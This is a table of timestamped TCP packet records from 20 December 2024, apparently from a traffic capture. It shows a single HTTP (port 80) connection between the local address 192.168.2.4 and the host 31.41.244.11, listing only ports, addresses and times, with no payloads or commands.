Dec 20, 2024 09:12:13.437587976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.438301086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.438384056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.438431978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.438529968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.438580990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.439352036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.439404964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.439486027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.439538002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.439907074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.439965010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.440021992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.440129995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.440887928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.440937042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.441015959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.441066980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.441904068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.441955090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.441956997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.442013979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.442869902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.442917109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.442972898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.443032026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.443876028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.443919897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.444020033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.444072008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.445776939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.445812941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.445827961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.445849895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.445863008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.445894003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.445960045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.446008921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.446856976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.446929932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.447207928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.447257042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.447880030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.447928905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.448033094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.448082924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.448893070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.448944092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.448947906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.448997974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.449790955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.449841976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.449919939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.449971914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.450773001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.450824022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.450826883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.450877905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.451750040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.451797962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.452353954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.452424049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.452708960 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.452766895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.452832937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.452882051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.453691006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.453738928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.453907967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.453957081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.454683065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.454725027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.454840899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.454883099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.455807924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.455863953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.456053972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.456101894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.456660986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.456710100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.456824064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.456875086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.457632065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.457683086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.457777023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.457827091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.458616018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.458668947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.458719969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.458774090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.459630013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.459733009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.459737062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.459784985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.460588932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.460639000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.460710049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.460764885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.461540937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.461590052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.602448940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.602497101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.602551937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.602581978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.602721930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.602772951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.602858067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.602907896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.603682041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.603729010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.603859901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.603905916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.604650021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.604693890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.604861021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.604904890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.605614901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.605664015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.605880976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.605932951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.606631994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.606741905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.606815100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.607590914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.607647896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.607731104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.607784033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.608587027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.608639002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.608707905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.608757973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.609550953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.609606981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.609687090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.609739065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.610559940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.610610962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.610677004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.610727072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.611521006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.611565113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.611779928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.611830950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.612499952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.612607956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.612652063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.612703085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.613516092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.613565922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.613595009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.613645077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.614489079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.614537954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.614631891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.614684105 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.615487099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.615536928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.615633965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.615685940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.616445065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.616498947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.616538048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.616585970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.617440939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.617495060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.617548943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.617599964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.618406057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.618459940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.618506908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.618551016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.619388103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.619441986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.619528055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.619584084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.620369911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.620419979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.620497942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.620548964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.621349096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.621398926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.621479988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.621529102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.622323990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.622375965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.622443914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.622493982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.623346090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.623394966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.623475075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.623526096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.624319077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.624366045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.624433041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.624485970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.625298023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.625354052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.625472069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.625520945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.626290083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.626339912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.626543045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.626590967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.627281904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.627336979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.627423048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.627471924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.628550053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.628592968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.628603935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.628653049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.629249096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.629292965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.629364014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.629407883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.630229950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.630275965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.630341053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.630392075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.631206989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.631253004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.631352901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.631397009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.632211924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.632267952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.632334948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.632384062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.633305073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.633404016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.633414030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.633446932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.634166956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.634217024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.634221077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.634268045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.635148048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.635205984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.635272026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.635324955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.636173010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.636221886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.636288881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.636336088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.637130022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.637177944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.637248993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.637298107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.638097048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.638145924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.638201952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.638266087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.639087915 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.639137030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.639219999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.639267921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.640125990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.640170097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.640305996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.640355110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.641071081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.641119003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.641185045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.641233921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.642085075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.642132998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.642184973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.642236948 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.643021107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.643073082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.643141031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.643181086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.644042969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.644135952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.644140005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.644195080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.645095110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.645144939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.645227909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.645272970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.645956993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.646006107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.646131992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.646178961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.647016048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.647063017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.647102118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.647149086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.647977114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.648030996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.648067951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.648118973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.648897886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.648951054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.649032116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.649079084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.649918079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.649970055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.650049925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.650100946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.650868893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.650923014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.650988102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.651041031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.651861906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.651912928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.651998997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.652050018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.652844906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.652906895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.652977943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.653028011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.654047966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.654145002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.794543982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.794616938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.794667006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.794717073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.795001030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.795052052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.795075893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.795121908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.796010971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.796058893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.796185017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.796231985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.796996117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.797051907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.797116995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.797167063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.797949076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.798000097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.798389912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.798439980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.798971891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.799021006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.799102068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.799149990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.799916983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.799964905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.800046921 CET	80	49759	31.41.244.11	192.168.2.4
